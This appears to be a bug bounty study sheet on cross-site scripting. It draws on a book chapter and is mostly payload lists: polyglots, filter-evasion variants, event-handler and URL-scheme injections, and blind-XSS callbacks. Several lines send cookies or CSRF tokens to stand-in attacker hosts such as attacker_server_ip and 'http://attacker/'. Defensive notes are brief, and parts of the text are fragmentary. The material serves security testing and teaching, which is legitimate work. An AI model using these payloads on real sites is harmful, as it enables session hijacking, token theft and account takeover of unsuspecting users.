Core Idea: Does the page functionality display something to the users? For time sensitive testing the 80/20 rule applies. Many testers use Polyglot payloads. You probably have too!
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
Input Vectors:
Common Params: onload, allowedDomain, movieplayer, xmlPath, eventhandler, callback (more on OWASP page)
Common Injection Strings:
\%22})))}catch(e){alert(document.domain);}//
"]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
"a")(({type:"ready"}));}catch(e){alert(1)}//
<h2>, <b><%00h2>, %0d, %0a, %09</script/x> work? <ScRiPt>?Blind XSS targets: support tickets, admin-visible fields (name, bio), log-visible headers (User-Agent, Referer).
Missed vectors: CSS customization fields, event names, file upload filenames, JSON POST bodies, custom error pages, mobile app forms.
Merged from Bug Bounty Bootcamp Ch 6 by Vickie Li
XSS happens when an attacker injects a script into a page that another user views. Because the injected script runs in the victim's browser as if it belongs to the target site, it can access anything the site's JavaScript can access: cookies, session tokens, page content, CSRF tokens.
Classic cookie-theft payload:
<script>image = new Image(); image.src='http://attacker_server_ip/?c='+document.cookie;</script>
If HttpOnly is set on the session cookie, JS cannot read it – but XSS can still perform actions on the victim's behalf, steal CSRF tokens from the DOM, or replace the page with a phishing login form.
User input is saved server-side (database, log, message board) and rendered to other users without sanitization. A single payload attacks every visitor. Most severe type.
Classic vector: a comment field that renders JS to every user who loads the page.
A stored XSS variant where the payload fires in a part of the app the attacker cannot see, typically an admin panel or internal log viewer. Submit through a user-facing form (support ticket, contact form, User-Agent header), and the script executes when an admin views it.
Detection – use an out-of-band callback:
<script src='http://YOUR_SERVER_IP/xss'></script>
Watch server logs for GET /xss. XSSHunter automates this.
User input is returned in the same request/response without being stored. Typical vector: search queries, error messages, URL parameters reflected onto the page. Victim must click a crafted link.
https://example.com/search?q=<script>alert('XSS');</script>
The payload never reaches the server. Client-side JS reads user-supplied data (URL fragment, query param) and writes it to the DOM insecurely. The HTTP response is unchanged – server-side WAFs cannot see it.
URL fragments ('#') never leave the browser, so DOM XSS via fragments bypasses server-side filtering entirely.
https://example.com?locale=<script>location='http://attacker/?c='+document.cookie;</script>
Victim must inject the payload themselves (social engineering required). Not accepted in bug bounty programs.
<, >, “, & before inserting user data into HTML; use context-appropriate encoding (HTML, JS, URL, CSS)script-src 'self' blocks inline scripts and external originsDOM XSS requires client-side input validation before writing to the DOM. Server-side sanitization alone does not stop it.
Reference: OWASP XSS Prevention Cheat Sheet
XSS_BY_VICKIE) everywhere, then search page source to see which fields reach the DOM| Payload | Purpose |
|---|---|
<script>alert(1)</script> | Basic test – pop-up if unfiltered |
<iframe src=javascript:alert(1)> | Useful when script tags are blocked |
<body onload=alert(1)> | No “script” string required |
”><img src=x onerror=prompt(1);> | Closes previous tag, fires JS on img error |
<script>alert(1)<!- | Comments out remainder of line |
<a onmouseover=“alert(1)”>test</a> | Fires on hover |
<script src=attacker.com/test.js> | Loads external script |
XSS polyglot (fires across img, script, p contexts):
javascript:"/*"/*`/*' /*</template> </textarea></noembed></noscript></title> </style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
Generic test string to identify which characters get escaped: >'<“;:!–
Blind XSS OOB payload:
<script src='http://YOUR_SERVER_IP/xss'></script>
Watch server logs for GET /xss to confirm execution.
If <script> is blocked, use event handlers or URL schemes:
<img src="123" onerror="alert('XSS');"/>
<a href="javascript:alert('XSS')">Click me!</a>
javascript: and data: schemes execute JS in anchor and iframe src attributes:
data:text/html,<script>alert('XSS')</script>
Mix case to bypass exact-string filters (browsers parse HTML permissively):
<scrIPT>location='http://attacker/?c='+document.cookie;</scrIPT>
If quotes are filtered, use String.fromCharCode():
<scrIPT>location=String.fromCharCode(104,116,116,112,58,47,47,97,116,116,97,99,107,101,114)+document.cookie;</scrIPT>
If the filter removes <script> exactly once, nest tags so removal reconstructs the outer tag:
<scrip<script>t>location='http://attacker/?c='+document.cookie;</scrip</script>t>
When input lands inside an existing attribute (e.g. <img src=“USER_INPUT”>), close the attribute and tag first:
"/><script>location="http://attacker.com";</script>
Check the browser console for syntax errors if your payload doesn't fire.
Reference: OWASP XSS filter evasion cheat sheet
Impact depends on where the XSS fires:
var token = document.getElementById('csrf-token').value; var xhr = new XMLHttpRequest(); xhr.open("GET", "http://attacker_server_ip/?token="+token, true); xhr.send(null);